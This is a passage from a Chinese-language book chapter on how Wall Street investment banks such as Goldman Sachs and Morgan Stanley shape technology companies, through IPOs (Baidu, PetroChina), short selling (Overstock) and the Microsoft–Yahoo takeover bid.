Fund），包括著名的文艺复兴技术公司，以及索罗斯和罗杰斯的量子基金。由于美国严格限制共同基金公司做空股票和期货，很多华尔街的大鳄觉得这些规定限制了自己炒作的才华，于是办起不是出于投资目的而是专门靠炒作而挣钱的对冲基金。虽然对冲基金规模较小，全球只有一万五千亿美元的规模，但是由于它们可以卖空股票、期货和货币，并且可以通过借贷用自己码金（Margin）几倍甚至几十倍地买多和卖空一支证券或商品期货，因此它们的力量不能低估。索罗斯等人的量子基金在 1998 年几乎要了东南亚国家的命，虽然索罗斯本人将责任推得一干二净。文艺复兴技术公司是全球投资回报率最高的公司，平均年收益超过30%，高于巴菲特的旗舰公司波克夏.哈萨韦。\n这些大的银行和投资公司，每一个都可以用富可敌国来形容。花旗银行在其最高峰的 2007 年，资产高达两万两千亿美元，投资公司高盛控制的财富高达一万亿美元。富达基金控制的财富高达一万五千亿美元。\n16.2 著名的投资公司\n16.2.1 高盛公司\n在 2000 年微软达到顶峰时，没有人能为它找出一个像样的竞争对手。当时记者问盖茨，你认为微软现在主要的竞争对手是谁时，盖茨答到，是高盛。微软和高盛处在不同的工业，根本谈不上竞争，因此记者对盖茨的回答感到很困惑。其实，盖茨指的是人才的竞争，因为当时，只有高盛可以在吸引人才上和微软一争，并妨碍微软录用一些优秀人才。\n华尔街传统的大投资银行有三家，高盛、摩根斯坦利和美林。我个人认为，美林的水平和前两个差出至少一个数量级。如果把它们和互联网公司做个对比，大致相当于 Google、雅虎和美国在线。而高盛公司在全世界投资银行中可以说无出其右。\n高盛公司创立于 1869 年，创始人马克斯.高德曼（Marcus Goldman）是德国裔的犹太人，它最早的生意是替那些实业家卖公司发行的短期债券（Commercial paper，注意，这里 paper 的含义是债券而不是纸张）。你可以想象当年高德曼穿着西装革履，提着个装满类似于国库卷的债券的密码箱，在纽约曼哈顿一家一家公司地上门推销债券的情形。由于推销债券认识了很多生意人，高德曼公司于 1896 年进入了纽约证交所替人交易股票，这时他的女婿塞缪尔.萨克斯（Samuel Sachs）加入了他的生意，于是公司改名为高盛，就是他们各自姓氏的组合。顺便提一句，萨克斯的女儿，也就是高德曼的外孙女在新中国一成立就一直在中国工作，和李敦白、马海德和爱泼斯坦等人一样，是中国人民的老朋友。\n高盛的主要业务是替别人做交易和承包公司的上市（underwriter）。它早年做的大生意包括承包著名的希尔斯百货店（Sears）上市。二十世纪三十年代经济大萧条以后，高盛逐步从做交易（低端金融服务）变成替大公司和富人管理财富和投资，并由此从一般的证券交易商发展成为华尔街主要的投资公司。在此之后，高盛主持过福特汽车公司的上市（1956 年），美国铁路系统破产案。从二十世纪七十年代起，高盛从美国走向世界，并且主导了八十年代西欧的私有化和九十年代前苏联和东欧的私有化。\n高盛主要的业务有三部分，事件驱动的业务（Event Driven Business），包括公司的上市，合并和拆分，财产管理（Wealth Management），和各种各样的基金，包括对冲基金和私募基金。\n高盛公司是世界最大的上市承包商，承包了世界上有史以来最大的上市行动中的一半，见下表：图16-1世界上以融资规模统计十大IPO（数据来源：www.sec.gov）1999 年，在美国上市成风的高潮年代，作为私营公司长达百年的高盛自己也上市了（历史证明，当一些根本不需要资金的、长期私有的大公司也通过上市捞一笔钱时，股市就到了几年顶部）高盛在上市后它的性质有了很大的变化，在此以前，它考虑的首要问题是替它的客户挣钱，在上市以后，它自己也必须达到并超过华尔街的预期，因此它将自己挣钱放到了首要地位。这些年，它也像华尔街其它投资公司和银行那样，搞出了好多五花八门的金融衍生物，给自己和客户都带来了很大的损失。但是，高盛靠着它高水平的研究部门，比其它投资银行更早地嗅了问题，同时又有严格的风险控制，在去年底以 10% 左右的损失几乎抛空了全部不良债券，而这些债券今天可能要损失 90% 左右，高盛因此逃过一劫。当最近美国雷曼、美林和 AIG 出问题时，高盛可以很自豪地向客户宣布它不拥有任何这些公司的坏账。\n鉴于高盛公司长期良好的投资记录，全世界很多投资者都为高盛马首是瞻，这使得它在金融领域可以呼风唤雨。虽然高盛公司的市值到 2008 年十月只有四百亿美元，相当于微软或者 IBM 的零头，但是它却拥有五千亿可以自由支配的现金，加上它大量的追随者，即使是在科技领域，它的作用也远非微软、IBM 和 Google 可比。我们不妨看两个例子，来了解一下它的作用。\n今年初，当原油价格还只有每桶一百美元时，高盛宣称原油价格将达到每桶二百美元，人为制造危机。虽然当时世界市场上原油供过于求，原油价钱还是在一个多月里上升到一百五十美元。一些国家开始恐慌，在一百四十美元左右大量购入战备储备。这时高盛又将油价向下打压，原油价格急转直下，很多炒作石油的对冲基金破产。俄罗斯作为世界最大的石油出口国之一，是油价上涨的受益者，在油价下跌时，它为了维护自己的经济利益，在格鲁吉亚制造紧张局势，威胁到石油管道的运输，同时石油输出国家组织（欧佩克）试图通过减产来稳定油价，但是都无济于事。即使 IKE 飓风毁坏了美国得克萨斯大量的炼油设备，油价还是长不起来，原因只有一个，以高盛为首的投资公司要打压油价。原油价格从每桶一百美元到一百五十的高点，再回到一百，只用了三个月时间，而现在的油价已经比最高点少了一大半。高盛在油价涨到最高点时，和中国的一家公司达成了赌油价的协议。根据协议，到 2010 年底，如果油价每月收在每桶 63.5 美元以上，高盛付给这家中国公司 1.5 美元/桶×20 万桶的钱，如果收在 62 到 63.5 之间，高盛则付给这家公司（收盘价-62）×20 万桶的钱，如果收在 62 美元以下，这家公司则要付给高盛（62-收盘价）×40 万桶的钱。假定原油价格一直维持在 62 美元以上，高盛是在赔钱，反之则挣钱。假如原油价格降到$50，高盛每个月则从这家公司获得四百八十万美元，到 2010 年底则是一个多亿美元。从这里大家可以看出现在是谁在希望油价下跌。在这个合同中另一点不公平的是，即使油价上升到天价，高盛不过每月输掉三十万美元而已。\n炒完石油，高盛接下来发表研究报告，唱空雷曼。虽然雷曼的问题大家早已经知道，但是高盛的报告一出来，雷曼的股票还是狂跌，这样就逼着后者不得不寻求买家。其实华尔街大部分公司心知肚明，高盛想要雷曼死，雷曼活不成，因此美国这么多家银行包括政府对雷曼见死不救。境况不佳的美林明白得快，匆匆将自己卖给美洲银行，算是攀上了高枝暂时逃过一劫。当九月十四日星期天解决了雷曼和美林后，九月十八日星期四，七千亿美元救助银行业的计划便由财政部长，高盛上一任 CEO 保尔森交到了国会。据保尔森自己讲，这个计划已经在他的口袋里装了很久，因为“怕”通不过，才没有拿出来。在美国总统大选正进入白热化的今天，两党的议员们最后都不得不支持这项计划，而高盛和摩根斯坦利这两个华尔街仅存的硕果无疑是这个计划最大的受益者。有人觉得雷曼和美林只要再坚持五天就可以逃过一劫，其实，只要它们两家公司一天不死，这个计划就不会从保尔森的口袋里拿出来。\n在科技公司中，大家最害怕的莫过于微软。而微软至今也不过挤垮了一家几千人的网景公司，打压了太阳公司和苹果公司。高盛在最近的半年里，先在石油上整垮了一批石油大鳄，继而连俄罗斯这个联合国常任理事国都打压下去了，接着又在这个月的金融危机中整垮了它一百年来的两个的竞争对手雷曼和美林。（所以，当我向高盛的经理们讨教罗斯柴尔德家族的问题时，他们觉得这个管理着几十亿美元只有区区一亿美元利润的明日黄花，根本不能和他们这个操纵着世界金融秩序的投资银行相比。）16.2.2 摩根斯坦利\n世界上唯一能和高盛有一比的就是摩根斯坦利。早在十几年前摩根斯坦利的规模和影响力还远在高盛之上，只是在这几年被高盛超过。\n摩根斯坦利和美国的大银行 J.P.摩根原来是一家，都是又美国二十世纪的大金融家 J.P.摩根创立。1929-1933 年经济危机后，美国政府禁止银行买卖股票搞投资，这样 J.P.摩根银行的投资部门就必须分出去。1935 年，J.P.摩根的儿子亨利.摩根和高管哈罗德.斯坦利（Harold Stanley），带领一部分的 J.P.摩根银行的人，成立的摩根斯坦利公司。\n摩根斯坦利脱胎于美国最大的银行 J.P.摩根，因此它起点比高盛高，从刚成立开始，就非常成功。即使在美国经济低迷的二十世纪三十年代，它一直健康快速地发展。它成立的当年，就拿下 24% 的股票承包发行（public offer）的市场。在二战后，它更是在大宗上市、收购和破产交易中起着举足轻重的地位。它承包了 IBM 股票的上市、ATT 和通用汽车公司债券的发行，甚至联合国债券的发行。\n从二战后到二十世纪末的整整半个世纪是摩根斯坦利的黄金时代。在这五十多年里，整个华尔街的金融公司无处其右。六十年代，它将生意扩展到欧洲。七十年代，它强化了它运作公司收购和合并的部门。这时的摩根斯坦利涉足的商业领域可以概括为三个方面：公司的并购、拆分和上市，机构和个人财产的管理，以及诸如股票、债卷和私募资金等资产管理。\n公司的上市，收购和拆分生意是摩根斯坦利的特长。摩根斯坦利是世界上最大的上市承包商之一。从上面的表中可以看到，它承包了很多大型的上市行动，包括很轰动的 Google 上市和去年最大的黑石公司上市。此外它还是苹果公司的上市承包商。这个部门是摩根斯坦利最赚钱的部门，也是最有价值的部门。为了赚钱，摩根斯坦利自然希望科技公司上市的越多越好，互相兼并，分家越频繁越好。\n为机构和个人理财，是摩根斯坦利较新的业务。在七十年代以前，股票的交易费非常高，证券公司主要靠收取交易费挣钱。但是随着计算机网络的发展，交易成本大幅下降，诞生了很多低价交易商（Broker），比如 Scottrade，E-trade 等等。摩根斯坦利这样的公司当然不会和这些廉价交易商拼价格，因此转而为机构和个人打理财务。\n第三个部门业务非常广，它为全球很多机构甚至政府部门提供股票，债券，私募基金等服务，有些是它们自己的产品（比如它们代售的债券），有些是代理其它公司的产品，而摩根斯坦利只是做一个桥梁的作用。一些机构甚至政府部门也将退休金和捐赠交给摩根斯坦利去管理。由于在金融危机前，摩根斯坦利在资金管理上过于大胆，这个部门亏损严重，成为了摩根斯坦利的一个包袱。\n值得一提的是，摩根斯坦利是银行业中计算机化的先驱。早在 1962 年，它就通过计算机来分析股市并且建立了很多用于金融的数学模型（Quantitative Financial Analysis Model），并且获得了很大的成功。由于摩根斯坦利在金融界的影响力，其它金融公司也纷纷效仿，从此开创了一种用数学模型分析市场的新领域。这对八十年代后对冲基金的兴起起了先导作用。\n直到二十世纪九十年代前，摩根斯坦利一直扮演者投行老大的角色。但是，到了九十年代后期，美国经济高速发展，很多大公司都迅速扩大规模，摩根斯坦利也不例外，先后买下了两家投资银行和信用卡公司 Discover。由于过度扩张，新并购的公司使摩根斯坦利这块金字招牌开始贬值，它的总体服务质量也大打折扣。2007 年，它不得不将 Discover 信用卡业务分出去，重新专注于它传统的投资业务。\n尽管摩根斯坦利在这次金融危机中受到重创，它仍然是全世界最有资产管理经验和水平的投资银行，因此美国财政部特别聘用了摩根斯坦利为顾问，解决房地美和房利美的房屋贷款问题。\n16.3 科技公司的上市过程\n一个科技公司的成功从根本上讲要看它是否代表了技术发展的潮流，要看它的运营等自身的因素。但是，华尔街对它的影响也是难以低估的。当一个科技公司从开始准备上市时，投资者对它的影响就从风投基金过渡给华尔街了。\n风投公司要收回投资，科技公司的创始人和早期员工要得到创业的回报，只有两条路可走，第一是被收购，比如 YouTube 被 Google 收购，Skype 被 Ebay 收购。这种做法来钱快，操作简单，但是收益相对低一些，走这条路的公司常常是有很好的技术，或者很多用户，但是自己难以盈利的，YouTube 和 Skype 都属于这一种。第二是将自己的一部分股票到交易市场上公开出售（Initial Public Offer，简称 IPO），俗称上市。多数能够很好盈利的公司基本上都走了这条路，因为公开出售股票不仅可以让投资人收回回报，还可以为企业的发展筹措资金。\n科技公司的经营业务是科技产品和服务，而不是证券，所以它不能自己到证券交易所去兜售自己的股票，一定要把这件事交给一个承包商，比如高盛和摩根斯坦利这样的公司来进行。承包商以上市价格从被承包的公司收购一定数量的股票，并且以同样的价格分配给它们的客户。承包商从上市中可以得到两笔收入，第一是佣金，通常是包销股票总金额，即融资额的百分之七，第二是今后以上市价继续购买该公司一定股份的权利（大致等同于期权）。当然，这第二笔钱只有当上市公司股价上涨才有意义。我们以百度公司为例，简单介绍一下科技公司上市的基本过程。\n在上市前，百度需要找一个自己喜欢的承包商。百度需要和多家承包商洽谈，找到一个自己中意的。而在谈判中，关键要谈清楚三件事。\n第一，在上市的一瞬间百度总的市值值多少钱。由于在此以前百度是私有的公司，它的股票没有在市场上交易过，因此，没有人知道这个公司到底该值多少钱。百度当然希望把自己作价越高越好，而承包商则希望作价适中。作价太高，它们一来无法保证百度的股票全部被认购，而且它们大量的以上市价核算的百度股票期权获利甚微。作价太低，它们将拿不到什么佣金。佣金是承包商旱涝保收的钱，而它们得到的期权却未必能够最终变成利润，比如黑石公司上市时的期权基本上如同废纸。那么是否替百度作价高的公司就一定好呢？这并不一定，因为承包商的影响力对上市的成功至关重要。最后，百度选择了由高盛（亚洲）和苏黎世信贷第一波士顿领衔做主要承包商，Piper Jaffray 会衔。事实证明这是非常明智的选择，因为这个选择很好地平衡了公司估价和承包商影响力，并且保证了百度股价的平稳。Piper Jaffray 很小，它的作用可以忽略。选择高盛和苏黎世信贷的最大好处是，这两家投资银行不仅没有散户，连小的机构都没有。这样，就不可能有任何散户和小的机构可以按上市价拿到百度的股票，所以中小投资者要想购买百度的股票，只能从高盛和苏黎世信贷的大客户手上买。而众所周知，大客户一般比小客户更倾向于长期投资而不是短线炒股套利。因此百度上市后，市场上几乎不可能有股票流通，在相当长时间里，股价肯定看涨。根据美国证监会的规定，公司内部的股票必须在 180 天后才能到市场上交易（相当于中国的大小非解禁）。凡是做过股票的人都有这个经验，一旦公司内部股票解禁，股价都会暴跌，这种事情一旦发生，不管上市公司在上市的头几个月股票被炒得多高，等到创始人和员工可以卖时就贬得一钱不值了。百度找高盛和苏黎世信贷上市，就避免了这个问题，因为在前 180 天里，市场上几乎没有可流通的股票，广大的散户都得等到 180 天后，才能从创始人、投资者和员工手里大量购入。相反，如果百度找到美林等二流的承包商，虽然作价可以高一点，佣金可以低一点，但是由于美林等公司客户常常是众多的散户，这些散户稍微有利可图就会抛售百度的股票，因此对于对于稳定百度的股价反而不利。等到 180 天后李彦宏等人被允许出售股票时，股价已经大跳水了。\n和百度相反，中石油在香港的上市堪称败笔。首先它作为全球最大的融资行动，却选择了一家二流的承包商瑞士联合银行和不入流的中信。瑞士联合银行虽然是瑞士最大的商业银行，但是其投资银行的水准却比高盛和摩根斯坦利等相差甚多，甚至不如它的同胞公司苏黎世信贷。这两家承包商为中石油作出了天价的融资股价，以至于长期持有它的巴菲特马上套现。两家的客户中有很多中小投资者（包括机构），当他们幸运地分得一些中石油的股票后，在上市的当天就抛售给了更小的散户。虽然中石油在上市的当天创下世界股值最高的公司的记录，但是不到半年就跌破了发行价。等到中石油自己手上的股票解禁时，已经卖不出多少钱了。\n第二，上市公司融资多少。一般来讲，当确定了一个即将上市的公司的基本价值后，那么要上市公司就需要和承包商协商融资的额度。一般来讲，只要能卖出去，承包商倾向于多融资，这样它可以多拿佣金，而且可以打压上市价。而对于想上市的公司来讲，融资太多会过度稀释股权，使得公司的总市值变小，融资不足则无法保证今后发展的资金。具体到百度，当时高盛等承包商按照 300 到 400 的市盈率，为它估价在六到七亿美元之间。后来由于网络搜索在 2005 年非常热门，百度首发（IPO）股票认购量超过发行量的十倍，高盛等承包商同意将百度的市值提高到了八点六亿美元。当时百度有两千八百万股，这些股票属于投资人，创始人和员工，一起称为原有股东。假如公司想融资两亿美元，那么原有股东的股值就只剩下 8.6-2=6.6 亿美元，每股的价钱在 23 美元左右。如果百度只融资两千万美元，原有股东的股票还可以值 8.6-0.2=8.4 亿美元，那么每股值 30 美元左右。在前一种情况下，企业得到了充分的发展资金，但是原有股东的利益损失很大。在后一种情况下，原有股东过于吝啬，使得公司错过了很好的融资机会。最后，百度取了个平衡，它在上市时将增发四百万股，融资 1.1 亿美元，因此每股最后定价 27 美元。\n融资过多和过少都是有危害的。过度的融资不仅导致原有股东的利益被压缩，而且由于在短时间里流入市场的股票太多，股价很难稳定。融资过少的危害也很明显，很多公司就是因为融资不足而在经济进入低谷时无资金摆脱困境而关门。2000 年有两家规模和水平相当的语音识别公司在美国上市，第一家 Nuance 融资近两亿美元，基本保证了它安全度过 2001-2003 网络泡沫破碎后的艰难时期，第二家 SpeechWorks 融资不到一亿美元，到 2002 年它已无足够的现金继续运营下去，只好在这一年被低价收购。这里面融资的成败决定了企业的命运。一般来讲，融资的比例应当是公司市值的 10% 到 25%。\n第三，第一个和第二个问题确定后，还剩的是一些细节问题了，主要是百度付给承包商的佣金和今后的期权。一般来讲，著名的承包商要的条件也高。\n一个科技公司不仅要找一个能在这三个方面给予自己最有利条件的承包商，还要找好上市的时机。百度的上市时间选择的很好，它处于 2003-2007 美国新的一轮牛市的中间，而且是在 Google 上市一年后。由于从 2004 到 2005 年，Google 的股价暴涨，因此作为同类公司的百度在估价上占了很大的便宜，它的估价从最初申请上市时的三百倍市盈率，在一个月里开始发售股票时，被提到五百倍。这样百度实际融资一点一亿美元，比预想的多融资了四千万美元。同时，拥有百度四分之一股权的创始人李彦宏一夜之间身价超过了两亿美元。高盛等承包商瓜分了大约七百万美元的佣金，同时获得了四十万股百度的期权。以百度当天的收盘价九十美元左右算，这笔期权价值两千五百万美元。可以说大家是皆大欢喜。\n16.4 成也萧何、败也萧何\n承包上市只是投资银行和基金公司对科技公司影响的开始。在上市以后，如果一个科技公司得到了华尔街投资银行和基金经理们的亲睐，它的发展无疑会顺利得多，反之则艰难得多。\n投资银行和基金公司对科技公司最大的支持就是直接购入该公司的股票。2004 年 Google 上市后，立即得到华尔街的追捧。全球最大的基金公司富达基金，回报最高的基金 Legg Mason 的Value Trust 和最著名的对冲基金文艺复兴技术公司都大量购入 Google 的股票，使得 Google 的股价在两个多月里翻了一番。富达基金一度拥有 Google 十分之一左右的流通的股份。\n华尔街公司对科技公司的追捧还可以通过提高对科技公司的评级等不需成本的手段进行。由于很多投资人无法看清一个公司今后三、五年里的发展前景，需要参考金融研究部门的研究报告和股票评级作出投资决定。如果一家著名的投资银行认定某个科技公司今后几年里会超出预期地发展，那么该公司的股票就看涨。2004 年底，美国证监会在 Google 上市的三个月后解禁了一批创始人和员工持有的股份，Google 股票的流通量几乎翻了一番，股价相应下调了 15%。这时，高盛公司发表了研究报告，力挺 Google，并上调了 Google 的股价预期。Google 的股价在报告发表后的几小时内暴涨 10%，并且顺利化解了因内部股解禁而带来的卖压。依靠股价大幅度的上扬，Google 在上市后短短的时间里吸引了大量的英才，迅速推出多种服务，并一跃超过雅虎成为第一大互联网公司。像 Google 这样华尔街眼里的明星公司有很多，包括微软公司、苹果公司、设计和制造黑莓手机的 RIM 公司，以及几年前的雅虎公司等。\n华尔街会为每个科技公司订出销售额和盈利的预期。如果一个科技公司能够在连续多个季度里超过盈利预期，华尔街就会拼命提升该公司的股价。由于科技公司员工的期权占员工收入的非常大比例，因此一个科技公司的股价能否稳定增长决定了该公司员工的收入和士气高低。在 2000 年互联网络泡沫时代，雅虎的新兴公司之所以能够阻击微软等 IT 巨人的进攻，很大程度上靠华尔街帮它们维持了高股价。\n反之，当一个公司不能达到预期时，就可能被华尔街狠狠地打压。因此，大多数科技公司为了在每个季度达到华尔街的预期，不得不制定很多短期目标，这样很可能会影响它们的长期发展。在明眼人看来，很多科技公司的短视行为很不明智，但是它们很多是迫于华尔街的压力不得不如此。有些公司明明已经达不到华尔街的预期，只能靠合法地作假来饮鸩止渴。我们在第一章“帝国的黄昏”中提到，朗讯公司为了达到华尔街的预期，不得不贷款给没有偿还能力的公司来购买它的产品，以提高营业额。虽然在几个季度里它的业绩表面上看比较漂亮，但是一旦这些借贷的公司倒闭，朗讯的货款就永远要不回来了，因此出现了巨额亏损。在 2004 到 2005 年里，雅虎公司为了将财务报表做得漂亮，低价售出它所持有的全部 Google 股份，并记入其利润。但当再也没有 Google 股票可出售时，它的利润便迅速下降，公司也进入衰退，股价下跌。在这种情况下，公司的人心涣散，核心员工离职的速度比公司衰退的速度更快。\n对于那些价值不大的科技公司，一旦它们未能达到预期，华尔街则会毫不留情的打压到底，以起到杀鸡示猴的作用。美国的一个财经电视频道介绍了这样一个故事。在美国有一家颇有名气的网上售货公司叫 Overstock，现在一年的营业额大约八亿美元。它于 2003 年在纳斯达克上市，在 2005 年的第二季度，它的盈利比华尔街预期的每股少了一两个美分，但是谁也没有料到这小小的一两美分使得 Overstock 几乎遭遇灭顶之灾。一般纳斯达克公司是在收盘后公布业绩，业绩一出来，华尔街马上调低对它的评级。第二天，Overstock 的股票狂泻不止，并在短短的几天里，Overstock 的股票跌掉了一大半。它的 CEO Patrick Bryne 在气愤之余发狠心要调查清楚此事。他经过调查发现，Overstock 公司的股票被恶意卖空，卖空的股票数量是 Overstock 实际股票数量的十几倍。根据美国证监会的规定，抵押一定现金“借”股票卖空是允许的，但是卖出的股票一定要在三天内提供给购买该股票的人。既然被卖空的股票是实际股票数量的十几倍，那么肯定有人借不到股票，也就无法按期交割。事实上，华尔街的那些卖空者根本就没打算按时交割，一些人一周后还无法交割，更有甚者到了第二年还无法交割，最终这些交易只能作废。当然华尔街也不用承担任何责任。但是，Overstock 公司的股价因为这种十几倍的卖空而一落千丈，公司也几乎关门。华尔街没有用任何成本，就通过卖空一家科技公司的股票上挣得暴利。在这一事件中，华尔街的评级公司对 Overstock 打压在先，对冲基金恶意抛售在后，配合得天衣无缝。读者不难看出，像 Overstock 这样的中小公司，命运在很大程度上被华尔街攥着。可以讲，华尔街是通过 Overstock 杀鸡示猴，对不能达到它们预期的公司予以惩戒。在这种情况下，没有哪个上市的科技公司敢于牺牲几个季度的盈利来换取长期发展。\n为了不断达到华尔街的预期，几乎所有市场占有率超过一半的大跨国公司都不得不努力寻找新的成长点。这实际上是软件生意做得相当好的微软一定要进入互联网市场的根本原因。在寻找新的成长点时，很多这些大的跨国公司不可避免地盲目扩张，最后因为投资和消耗太大而转盛到衰。这种例子实在太多，我们就不一一列举了。\n那么一个上市的科技公司只要盈利，是否就可以忽视华尔街对自己股票的打压而专注于自己的长期发展呢？事实这是不可能的，因为无论是科技公司还是个人都不是生活在真空中。要想不受华尔街的影响，唯一的办法就是不上市。这就是 Google 在盈利很久以后迟迟不肯上市的原因。一些很有潜力的上市公司因为某种原因，受到华尔街长期打压，这时，私募基金会出钱将该公司流通的股份全部收回将它变成私有公司，经过包装后从新上市，这时新的公司常常就会从华尔街的弃儿变为宠儿。著名的计算机硬盘公司 Seagate 就经历过此过程。\n16.5 华尔街与微软、雅虎和Google的三国演义\n华尔街除了从科技公司上市和炒作科技公司股票上挣钱外，它们另一大赚钱的手段就是公司的并购和拆分。当两个公司合并或者一个收购另一个时，需要把两个公司的股票合并成一种。和上市一样，这件事不能由科技公司自己完成，而需要由投资银行做承包商代理完成。当然，投资公司可以获得可观的佣金，甚至合并后的新公司的期权。拆分也是如此，每拆掉一个公司，就会将其中的一些部门要么上市，要么和其它公司合并。投资银行也会坐收佣金。因此，华尔街希望科技公司之间经常地并购和拆分。在 ATT、惠普以及后来朗讯的拆分事件中，还有惠普和康柏的并购中，华尔街都赚足了钞票。\n当然，华尔街也不是一味鼓励科技公司三天两头地兼并和拆分，它们要根据自己最大的利益来做决定。由于华尔街的投资银行和基金公司在已经上市多年的科技公司中占很大的股权和投票权，它们有能力决定一次收购和拆分是否进行。我们回顾一下前一阵子闹得沸沸扬扬的微软收购雅虎事件，来看一看华尔街在微软、雅虎和 Google 的三角关系中起的微妙的作用。\n2008年2月1日，微软公司在美国股市开盘前突然宣布以每股31美元的价钱收购雅虎公司。在1月31日，雅虎的股票以每股19.18美元收盘，这意味着微软开出了高出雅虎市值 60 %的价钱。微软这一举动一是为了打动雅虎的董事会接受收购的条件，而是为了当雅虎的董事会回绝这个开价后可以打动急于套现的雅虎股东们通过表决而接受这一方案。公平地讲，微软的这个开价是很有吸引力的。一些投资人估计这桩买卖一定能做成，因此在雅虎没有做任何答复的情况下就将其股价抬到了每股28美元，一些投机者甚至在每股27美元的较高价位大量收购雅虎的股份。\n一直力保雅虎独立的创始人杨致远和费罗当然不愿意看到自己辛辛苦苦创办的、至今全球流量最大的网络公司被收购。但是他们两个人在雅虎的股权和投票权已经占不到 10% 了，因此光靠他们的决心是无法击退微软的恶意收购的，更何况一些投机者已经购到了雅虎百分之十几的股权。后者是必须把雅虎出售才能盈利的。杨致远给微软还了一个很高的报价，每股不低于 41 美元，后来降到了 37。微软没有接受这个还价，这意味着雅虎的股价将回到每股 19 美元左右。这样，以高价收购雅虎股份的投机者 Ichan 等人将蒙受数亿美元的损失，因此他们威胁雅虎的董事会接受微软报价，否则便通过股东大会推翻现董事会。当然，最后的结果是微软不提高报价，而 Ichan 的阴谋也没有得逞。七月份，这场闹剧收场，雅虎公司士气大跌，微软公司的 MSN 部门也很受伤害，而一直以静制动的 Google 无疑是最大的赢家。难道这是老天特别眷顾 Google？\n这里面背后的内幕当然不是这样。读者也许注意到这里面有两个让人疑惑的问题，首先，为什么只占不到雅虎股权不到 10% 杨致远和费罗能击退更大的股东 Ichan 等人的攻击，难道真是因为杨致远在全体雅虎股东中威望崇高，大家以他的马首是瞻？其次，为什么微软不愿意将收购价钱提高到每股 37 美元。从 31 到 37，相当于微软将雅虎的收购价从 430 亿美元提高到 500 亿美元，难道当时拥有两百多亿美元现金，市值达三千亿美元的微软会在乎这“区区” 70 亿美元？要知道微软每年的现金流高达 170 亿美元。另一方面，微软在互联网上已经浪费了超过百亿美元。解开这两个困惑的问题的钥匙只有一把，就是华尔街。\n让我们首先看一看 2008 年 1 月 31 日时微软和雅虎两家公司的股票情况。\n图16-2微软和雅虎的股票情况从上面的表中我们可以看出，当微软收购雅虎的消息发布后，虽然雅虎的股价上涨了 48% 之多，使得它的市值增加了 127 亿，但是，微软的股价却下跌了 6.6%。由于微软当时的市值是雅虎的十多倍，这相对很小的 6.6% 的下滑，却导致了微软市值缩水 200 亿美元。雅虎和微软的总市值相加，仍然减少了 77 亿美元。如果这笔交易可以按照微软最初的价钱作成，那么雅虎的股价还会相对提升，而微软的还要再缩水一些，估计两家市值总和要减少一百亿美元左右。由于华尔街很多的投资公司和基金都同时拥有这两家公司的股份，每家公司和基金都会算一笔账，在这个潜在的交易中，自己所持股份的价值是增长还是减少。除了那些大量持有雅虎而很少持有微软的基金，雅虎的股东们未必会赞同这个合并。这是算准了这一点，雅虎的董事会才不怕 Ichan 等人试图推翻董事会的企图，坚持回绝微软的开价。对于微软的股东来讲，每股 31 美元的开价已经让他们的股值缩水，他们决对不能同意雅虎提出的每股 37 美元的高价。如果微软的 CEO 鲍尔默真的答应了雅虎的还价，会有不少微软的股东继续抛售其股票，这样对微软的发展未必有利。所以，鲍尔默才坚持不加价。\n也许有些读者还是有疑问，为什么微软提出收购雅虎后，自己股价会大跌。难道这不是微软强化它在互联网领域地位的“好棋”吗？微软股价下跌的原因是华尔街不看好微软收购雅虎以后的前景。事实上华尔街对微软在MSN上长期赔钱一直不满。华尔街更希望看到的是微软能集中精力于计算机软件业，保持高利润，而不是不断用从软件上挣的钱去补贴MSN 这个无底洞。单纯从投资的角度讲，华尔街希望微软和 Google 各自分好工，前者专心做好操作系统而后者负责互联网广告业。这样，两家的利润率都会很高，它们这些投资者挣钱自然就多。反之，如果这两个 IT 巨头都入侵对方的领域，它们竞争的结果必定使得双方的利润都受到打压。显然如果这个并购实现，那么新的微软必将和 Google 针锋相对地竞争。考虑到它和雅虎在对 Google 竞争的弱势地位，以及微软整合雅虎的难度，微软必须在合并后大量投入才能进行有意义的竞争，这样微软的利润会下降，这是华尔街非常不愿意看到的。更何况，Google 绝大部分流通的股票都在华尔街大的投资公司和基金中，而不是个人投资者手中，因此华尔街要保证它们在 Google 投资的回报，也不希望微软不计后果地盲目收购。(注释：在金融危机爆发后，雅虎的新董事会担心公司不能挺过这次危机，请走了杨致远，开始积极寻找收购的可能性，这已经是后话了)每一家科技公司的背后常常隐藏着一些华尔街的庄家。我们在前面讲过，公司的并购要由投资银行帮助进行。而实施并购方案的投资银行，常常就是这些公司的庄家。微软收购雅虎一事是通过摩根斯坦利和雷曼兄弟公司作为中间人来协商，因此它们分别是微软和雅虎的庄家。Google 为了对抗微软，提出和雅虎结盟，运作此事的是高盛和雷曼，因此高盛是 Google 的庄家。作为庄家，就要维护自己长期吹捧的科技公司的利益，因此，在这种并购案中，成与不成，如果能成时和谁并购不和谁并购，有时是背后庄家的角力的结果。显然，微软给雅虎每股 31 美元的开价显然是和摩根斯坦利商量过的，而后者恐怕不能接受雅虎 37 美元的开价，因为这样它自己手上的微软股票会缩水太多。\n基于上述复杂的原因，微软收购雅虎一事难以成功。虽然 Ichan 这些投机者对雅虎威胁利诱，其实是色厉内荏，因为在那些投资银行眼里，Ichan 等人不过是大的散户而已。\n对于华尔街看好的收购，消息一传出，出资收购的一方股价会猛涨。现在闹得沸沸扬扬的花旗集团和富国银行（Wells Fargo）竞购 Wachovia 银行一案就充分说明了这一点。不论哪家银行收购成功，它都会在今后扩展业务中处于有利地位。当开始花旗胜出的消息传出，它的股价在几天内增长了 20%。可是花旗还没有高兴几天，Wachovia 有改变决定和富国银行合并，结果花旗的股价又跌回了原有的水平，而富国银行的股价一天上升了 10% 以上。这就说明华尔街非常看好这宗收购案今后的前景，毕竟少了一个大银行 